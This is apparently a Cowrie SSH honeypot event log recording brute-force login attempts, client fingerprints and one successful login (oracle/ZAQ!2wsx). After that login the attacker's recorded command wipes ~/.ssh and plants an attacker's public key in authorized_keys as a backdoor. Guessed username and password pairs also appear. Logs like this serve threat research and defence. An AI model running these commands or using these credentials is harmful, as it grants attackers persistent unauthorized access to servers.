{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0a:8d:60:b4:e4:f2:e1:c1:5f:c7:f6:48:74:4c:79:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDK4pzPaxH0RNZ75k1QmpXYosJ2Xry27vFEC+WIHvvB7/oT6FWWVU8zelOd29WSY+ZSOEKh/T1XGtaawHi7usi75y5S7Rcnjr8PmNp4wvezlLsxHSe/1iYcJbFGHDD6pu40MLCLDusCue7IdngZ22DoexNWbHf5uBTqsbJg25JRka06P87tKhXrffYkO7xlC0lmT7DNv4URZEtFYE79m46mnQGvfVPBo9cgv2L5IDjrnvl6QMgkhZL6Bh3ZozxqIgtBT4icxVum2htUpKLDzFeCeSVRsMlPh5HbGzFHyhkT3SEoToRJN6x+omaG7BtZbbrbrhgOUaKYTTmG8GdMdaTZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:14:50.136040Z","src_ip":"208.87.242.183","session":"5a0c5125da1c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0a:79:5d:94:5e:3b:4d:d6:95:02:bc:62:ad:c8:ef:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrfsN4P75hggORX4Q7tVTn5T5gbEmcBiJPBUehlEM4iP74U6eZ/julPLThWaNNl9UgkyCGNvba+Cx40H1aarlgSbX9wx8vPLymjfMKQSSDCDVdo8aD3CytI/xgH5fSBeW0pAemxrF6AaTqMhQRQLyOPtmmpNrl8njmJrJKu0kLtCe5F6QuxW4M8ZX1PE8gcnveCvkgxVkgHxEvuaImtL9lv7L3jb1a75xsnsD/+MpnxJce+QVD1iPq787qi5Kzxdn+GVrtUnUG78gZk7yOoptofpW/24J8SFdtEEz3lPCK0+7q/zy27pGSZc1Up+L5LuX4ry6mlABErhN+zVCpndoP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0a:79:5d:94:5e:3b:4d:d6:95:02:bc:62:ad:c8:ef:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:14:50.213338Z","src_ip":"208.87.242.183","session":"5a0c5125da1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0a:79:5d:94:5e:3b:4d:d6:95:02:bc:62:ad:c8:ef:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrfsN4P75hggORX4Q7tVTn5T5gbEmcBiJPBUehlEM4iP74U6eZ/julPLThWaNNl9UgkyCGNvba+Cx40H1aarlgSbX9wx8vPLymjfMKQSSDCDVdo8aD3CytI/xgH5fSBeW0pAemxrF6AaTqMhQRQLyOPtmmpNrl8njmJrJKu0kLtCe5F6QuxW4M8ZX1PE8gcnveCvkgxVkgHxEvuaImtL9lv7L3jb1a75xsnsD/+MpnxJce+QVD1iPq787qi5Kzxdn+GVrtUnUG78gZk7yOoptofpW/24J8SFdtEEz3lPCK0+7q/zy27pGSZc1Up+L5LuX4ry6mlABErhN+zVCpndoP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:14:50.217052Z","src_ip":"208.87.242.183","session":"5a0c5125da1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:14:50.293854Z","src_ip":"208.87.242.183","session":"5a0c5125da1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":42388,"dst_ip":"10.17.0.5","dst_port":22,"session":"043017466247","protocol":"ssh","message":"New connection: 103.228.69.212:42388 (10.17.0.5:22) [session: 043017466247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:15:19.257482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:15:19.263654Z","src_ip":"103.228.69.212","session":"043017466247","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:15:19.490860Z","src_ip":"103.228.69.212","session":"043017466247","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qwertytest","message":"login attempt [test/qwertytest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:15:20.435567Z","src_ip":"103.228.69.212","session":"043017466247","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:15:21.668444Z","src_ip":"103.228.69.212","session":"043017466247","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.190","src_port":13952,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f1dd9a93768","protocol":"ssh","message":"New connection: 176.65.132.190:13952 (10.17.0.5:22) [session: 5f1dd9a93768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:15:57.923638Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:15:57.929735Z","src_ip":"176.65.132.190","session":"5f1dd9a93768","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":38074,"dst_ip":"10.17.0.5","dst_port":22,"session":"9354c0672bbf","protocol":"ssh","message":"New connection: 80.94.92.186:38074 (10.17.0.5:22) [session: 9354c0672bbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:15:59.714327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:15:59.806114Z","src_ip":"80.94.92.186","session":"9354c0672bbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:15:59.935555Z","src_ip":"80.94.92.186","session":"9354c0672bbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:16:00.848404Z","src_ip":"80.94.92.186","session":"9354c0672bbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:16:01.996047Z","src_ip":"80.94.92.186","session":"9354c0672bbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":22936,"dst_ip":"10.17.0.5","dst_port":22,"session":"e15f6472ebc0","protocol":"ssh","message":"New connection: 213.209.159.56:22936 (10.17.0.5:22) [session: e15f6472ebc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:16:12.144400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:16:12.149518Z","src_ip":"213.209.159.56","session":"e15f6472ebc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:16:12.235289Z","src_ip":"213.209.159.56","session":"e15f6472ebc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"karleigh","password":"karleigh","message":"login attempt [karleigh/karleigh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:16:12.639793Z","src_ip":"213.209.159.56","session":"e15f6472ebc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"karleigh","password":"karleigh1","message":"login attempt [karleigh/karleigh1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:16:13.725445Z","src_ip":"213.209.159.56","session":"e15f6472ebc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"karleigh","password":"karleigh123","message":"login attempt [karleigh/karleigh123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:16:14.866305Z","src_ip":"213.209.159.56","session":"e15f6472ebc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":59272,"dst_ip":"10.17.0.5","dst_port":22,"session":"60770b238fab","protocol":"ssh","message":"New connection: 103.228.69.212:59272 (10.17.0.5:22) [session: 60770b238fab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:16:15.893688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:16:15.898566Z","src_ip":"103.228.69.212","session":"60770b238fab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"karleigh","password":"karleigh1234","message":"login attempt [karleigh/karleigh1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:16:15.954409Z","src_ip":"213.209.159.56","session":"e15f6472ebc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:16:16.137625Z","src_ip":"103.228.69.212","session":"60770b238fab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"karleigh","password":"karleigh12345","message":"login attempt [karleigh/karleigh12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:16:17.039592Z","src_ip":"213.209.159.56","session":"e15f6472ebc0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"ZAQ!2wsx","message":"login attempt [oracle/ZAQ!2wsx] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:16:17.128560Z","src_ip":"103.228.69.212","session":"60770b238fab","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:16:17.661791Z","src_ip":"103.228.69.212","session":"60770b238fab","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:16:17.665576Z","src_ip":"103.228.69.212","session":"60770b238fab","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:16:17.669672Z","src_ip":"103.228.69.212","session":"60770b238fab","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:16:17.912323Z","src_ip":"103.228.69.212","session":"60770b238fab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:16:18.125143Z","src_ip":"213.209.159.56","session":"e15f6472ebc0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:16:18.445724Z","src_ip":"103.228.69.212","session":"60770b238fab","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:16:18.450147Z","src_ip":"103.228.69.212","session":"60770b238fab","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:16:18.698468Z","src_ip":"103.228.69.212","session":"60770b238fab","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:16:18.702720Z","src_ip":"103.228.69.212","session":"60770b238fab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":60322,"dst_ip":"10.17.0.5","dst_port":22,"session":"532874a73a13","protocol":"ssh","message":"New connection: 103.228.69.212:60322 (10.17.0.5:22) [session: 532874a73a13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:16:18.929045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:16:18.933355Z","src_ip":"103.228.69.212","session":"532874a73a13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:16:19.168582Z","src_ip":"103.228.69.212","session":"532874a73a13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:16:20.144062Z","src_ip":"103.228.69.212","session":"532874a73a13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:16:21.383606Z","src_ip":"103.228.69.212","session":"532874a73a13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":32936,"dst_ip":"10.17.0.5","dst_port":22,"session":"c24668fdfda6","protocol":"ssh","message":"New connection: 103.228.69.212:32936 (10.17.0.5:22) [session: c24668fdfda6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:16:21.605649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:16:21.617278Z","src_ip":"103.228.69.212","session":"c24668fdfda6","protocol":"ssh"}
